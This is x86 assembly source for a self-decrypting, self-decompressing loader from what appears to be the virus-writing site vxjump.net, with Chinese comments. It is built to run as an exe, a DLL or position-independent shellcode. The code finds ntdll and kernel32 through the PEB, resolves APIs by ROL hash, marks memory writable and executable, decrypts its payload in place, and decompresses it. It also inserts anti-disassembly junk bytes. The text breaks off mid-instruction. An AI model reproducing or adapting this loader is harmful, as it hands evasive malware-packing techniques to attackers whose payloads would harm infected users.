_ _ (_) | | __ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_ \ \ / /\ \/ /| || | | || '_ ` _ \ | '_ \ | '_ \ / _ \| __| \ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_ \_/ /_/\_\| | \__,_||_| |_| |_|| .__/(_)|_| |_| \___| \__| _/ | | | |__/ |_| /---------------------------------------------------------------------------------------\ |>...................[ 同时作为exe,dll,shellcode运行,自解密自解压 ]....................<| |>......................[ by xSpy/vxjump.net ]........................<| |>......................[ 2012-12-22 ].........................<| \>...................... [ cdutboy_AT_gmail.com ] ......................... endm ;入口点 EntryPoint PROC _hNtdll equ [ebp - 04h] _hKernel32 equ [ebp - 08h] _dwRole equ [ebp - 0Ch] _pCurOEP equ [ebp - 14h] _pCurModule equ [ebp - 18h] _bKey equ [ebp - 1Ch] _dwCodeLen equ [ebp - 20h] _dwCompressLen equ [ebp - 24h] _dwCompressBufferWorkSpaceSize equ [ebp - 28h] _dwCompressFragmentWorkSpaceSize equ [ebp - 2Ch] _dwProtect equ [ebp - 30h] _pVirtualAlloc equ [ebp - 40h] _pVirtualProtect equ [ebp - 44h] _pRtlDecompressBuffer equ [ebp - 48h] _pRtlGetCompressionWorkSpaceSize equ [ebp - 4Ch] push ebp mov ebp,esp push ebx push ecx push edx push esi push edi add esp,-100h ;让eax指向ebp mov esi,esp add esi,114h mov esi,[esi] ;dll和exe都是这里是OEP入口点 push [esi + 8h] pop _pCurOEP ;得到Rol解密的密钥 _Config_Before: call _StartCode _Config: ;---------------------------------------------------- BYTE 1 ;rol解码密钥 WORD 5h ;原始代码的长度 WORD 5h ;压缩之后代码的长度 ;---------------------------------------------------- _StartCode: pop edx ;int 3 ;add edx,_Config - _Config_Before ;跳过最开始的短跳 movzx eax,BYTE PTR [edx] mov _bKey,eax ;原始字节长度 mov ax,WORD PTR [edx + 1] mov _dwCodeLen,eax ;压缩后的长度 mov ax,WORD PTR [edx + 3] mov _dwCompressLen,eax ;判断执行类型 ;dll时,第一个参数 和父的[esi + 0Ch]相等 mov eax,[ebp + 08h] test eax,eax je _RoleExe cmp eax,[esi + 0Ch] ;父参数 jne _RoleExe _RoleDll: ;当前角色 push [ebp + 0Ch] pop _dwRole xor edi,edi inc edi cmp _dwRole,edi je _RoleDllProcessAttach ;如果不是XROLE_DLL_PROCESS_ATTACH,就直接返回1 _DirectRet: xor eax,eax inc eax add esp,100h pop edi pop esi pop edx pop ecx pop ebx pop ebp ret 0Ch _RoleDllProcessAttach: ;修正返回地址 mov eax,[ebp + 4] mov [ebp + 0Ch],eax jmp _Work _RoleExe: ;角色 push XROLE_EXE pop _dwRole _Work: lea edi,_pRtlGetCompressionWorkSpaceSize push edi ;API的存储地址,从这里开始往高地址存放 ;搜索Kernel32 xor eax,eax xor ecx,ecx mov al,18h assume fs:nothing mov esi,fs:[eax] mov esi,[esi+30h] ;esi = TEB mov esi,[esi+0Ch] ;esi = PEB mov esi,[esi+1Ch] ;esi = PEB_LDR_DATA push esi _LdrLoop: mov edi,[esi+08h] ;edi= InInitOrder[X].base_address mov edx,[esi+20h] ;edx = InInitOrder[X].module_name mov esi,[esi] cmp [edx+18h],cl jne _LdrLoop pop esi mov esi,[esi+08h] mov _hNtdll,esi mov _hKernel32,edi pop edi ;取出edi ->API的存储位置 ;在栈上面构建Hash表 _Stack_Begin: ;栈开始点 push W2DW(ROLHASH_VirtualProtect,ROLHASH_VirtualAlloc) push W2DW(ROLHASH_RtlGetCompressionWorkSpaceSize,ROLHASH_RtlDecompressBuffer) mov esi,esp ;esi 指向 HashTable -> 原始esp - 4 xor ecx,ecx ;得到0 _FindSomeApi: xor edx,edx push ebp ;保存ebp xor eax,eax lodsw push ecx cmp ecx,2 je _FindKernel32Api jb _FindNtdllApi cmp ecx,4 jb _FindKernel32Api add esp,10h ;还有8字节是pop ecx pop ebp ;反IDA xor eax,eax je _FindAllApiFinish ;所有的API都找到了 db 0E7h,0E8h,0E9h _FindNtdllApi: push eax mov ebp,_hNtdll jmp _FindApi _FindKernel32Api: push eax mov ebp,_hKernel32 jmp _FindApi _FindApi: ;ebp -> hModule, mov ebx,[ebp+3Ch] ;ebx =PE mov ebx,[ebp + ebx + 78h] ;ebx = 输出表 RVA add ebx,ebp ;ebx = 输出表 mov ecx,[ebx + 20h] ;ecx= names table RVA add ecx,ebp ;ecx = names table push esi ;保存esi _WalkNameTable: ;遍历导出表 inc edx mov esi,[ecx + edx * 4] ;esi =API字符串 add esi,ebp _CalcHash: push ecx xor ecx,ecx xor eax,eax _HashLoop: lodsb test al,al je _HashEnd rol cl,1 add ecx,eax jmp _HashLoop _HashEnd: mov eax,ecx pop ecx cmp eax,[esp+4] jne _WalkNameTable _WalkNameFinish: pop esi ;恢复esi = Hash Table pop eax ;修复堆栈 _FindApiFinish: mov ecx,[ebx + 24h] ;ecx = ordinals table RVA add ecx,ebp ;ecx = ordinals table movzx edx,WORD PTR [ecx + 2*edx];edx = ordinal number of function mov ecx,[ebx+1Ch] ;ecx = address table RVA add ecx,ebp ;ecx = address table mov eax,ebp add eax,[ecx + 4*edx] ;eax = adi addr stosd ;保存API地址 pop ecx ;取出ecx inc ecx ;API+1 pop ebp jmp _FindSomeApi _FindAllApiFinish: ;OK.到这里的时候,所要用的API全部都找到了 ;申请xInfo内存 xor ebx,ebx xor ecx,ecx mov bl,40h mov ch,10h push ecx ;保存edx和ecx push edx push ebx ;40h push ecx ;1000h mov ax,sizeof XINFO push eax push edx ;0 call DWORD PTR _pVirtualAlloc mov edi,eax ;edi = XINFO地址 pop edx ;取出edx和ecx pop ecx assume edi:PTR XINFO ;分配新的代码的内存 xor eax,eax push ebx ;40h push ecx ;1000h mov ax,_dwCodeLen push eax push edx ;0 call DWORD PTR _pVirtualAlloc mov [edi].pNewCode,eax ;解密之后的code的地址 push _dwRole ;角色 pop [edi].dwRole ;Reload之前的模块基址 push _pCurOEP pop eax sub eax,1000h mov [edi].hSelfModule,eax ;获取解密之前的地址 call _GetCodeAddr mov esi,eax ;esi = code起始地址 mov [edi].pOldCode,eax ;修改负载为可读可写可执行 lea eax,_dwProtect push eax push 40h push _dwCompressLen push [edi].pOldCode call DWORD PTR _pVirtualProtect ;开始解密 push edi ;压缩之后的长度 movzx edx,WORD PTR _dwCompressLen mov ecx,_bKey ;目的地址,在原地解密 mov edi,[edi].pOldCode _DecodeLoop: lodsb rol al,cl stosb dec edx test edx,edx jne _DecodeLoop _DecodeFinish: pop edi ;rol解密完毕,取出edi ;恢复代码段页属性 lea eax,_dwProtect push eax push _dwProtect push _dwCompressLen push [edi].pOldCode call DWORD PTR _pVirtualProtect ;分配WorkSpace push _dwCodeLen pop _dwCompressBufferWorkSpaceSize push 0 pop _dwCompressFragmentWorkSpaceSize lea eax,_dwCompressFragmentWorkSpaceSize push eax lea eax,_dwCompressBufferWorkSpaceSize push eax push XCOMPRESS_FLAG call DWORD PTR _pRtlGetCompressionWorkSpaceSize lea eax,_dwCompressFragmentWorkSpaceSize push eax push _dwCompressLen push [edi].pOldCode push _dwCodeLen push [edi].pNewCode push XCOMPRESS_FLAG call DWORD PTR _pRtlDecompressBuffer assume edi:nothing mov eax,edi assume eax:PTR XINFO ;恢复所有使用过的寄存器 add esp,100h pop edi pop esi pop edx pop ecx pop ebx pop ebp cmp [eax].dwRole